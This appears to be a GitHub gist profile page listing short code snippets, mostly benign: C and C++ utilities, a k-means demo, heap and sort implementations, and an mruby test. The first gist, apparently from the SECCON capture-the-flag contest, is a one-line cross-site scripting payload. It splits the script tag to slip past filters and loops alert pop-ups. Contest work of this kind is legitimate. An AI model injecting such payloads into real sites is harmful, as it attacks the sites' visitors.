Skip to content

Instantly share code, notes, and snippets.

View makotoshimazu's full-sized avatar

Makoto Shimazu makotoshimazu

View GitHub Profile
@makotoshimazu
makotoshimazu / XSS.js
Created July 19, 2014 14:51
SECCON XSS
"<input type="button" onclick="document.write('<scrip'+'t>for(i=0;i<1000;i++){alert(¥'X'+'SS¥');}</scrip'+'t>')" value="xxx"/>
@makotoshimazu
makotoshimazu / led.cpp
Created July 13, 2014 23:58
Blink the LEDs on Beagle Bone Black
#include <fstream>
#include <sstream>
#include <stdexcept>
#include "led.h"
using namespace pile;
using namespace std;
LED::LED(int id)
{
@makotoshimazu
makotoshimazu / hello_syslog.c
Created May 12, 2014 02:39
syslog関数を利用してsyslogにログを吐いてみるテスト。 userのfacilityのログが出るように、(ubuntu14.04では)/etc/rsyslog.d/50-default.confを編集する必要がある。
#include <stdio.h>
#include <syslog.h>
int main(void)
{
printf("Hello World!\n");
openlog("testmsg", LOG_CONS|LOG_PID, LOG_USER);
syslog(LOG_WARNING, "Hello World!\n");
closelog();
printf("syslog is closed\n");
@makotoshimazu
makotoshimazu / kmeans.html
Last active August 29, 2015 13:57
k-means clustering sample
<html>
<head>
<script type="text/javascript" src="kmeans.js"></script>
</head>
<body onload="kmeans.reset()">
<form name="f">
<input type="button" onclick="kmeans.reset()" value="start"><input type="button" value="step" onclick="kmeans.step()"><br/>
<br/>
<canvas id="field" width="1024" height="768"><br/>
</body>
@makotoshimazu
makotoshimazu / arenaoverflow.c
Created January 7, 2014 06:15
arenaが思ったとおりに動作しているか確認するためのコード。 2013/12/27時点でcloneしたmrubyでは正常動作しなかったが、#1637のプルリクで1/3に直っている。 この例だとarenaに保護されているようだが、いつ放置されるのかよくわかっていない。
//! make arenaoverflow.bin
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include <mruby.h>
#include <mruby/compile.h>
#include <mruby/value.h>
@makotoshimazu
makotoshimazu / heaptree.c
Created December 23, 2013 06:47
Binary Heap
//! gcc -o heaptree.bin heaptree.c -W -Wall -O0 -g -std=gnu99
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
typedef int htree_value_t;
typedef int (*htree_cmp_t)( const htree_value_t *, const htree_value_t *);
@makotoshimazu
makotoshimazu / multikey-quicksort.c
Created December 12, 2013 04:38
Multi-key Quick Sort
//! gcc -o multikeyquicksort.bin multikeyquicksort.c -W -Wall -O3 -std=gnu99
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
typedef char * string;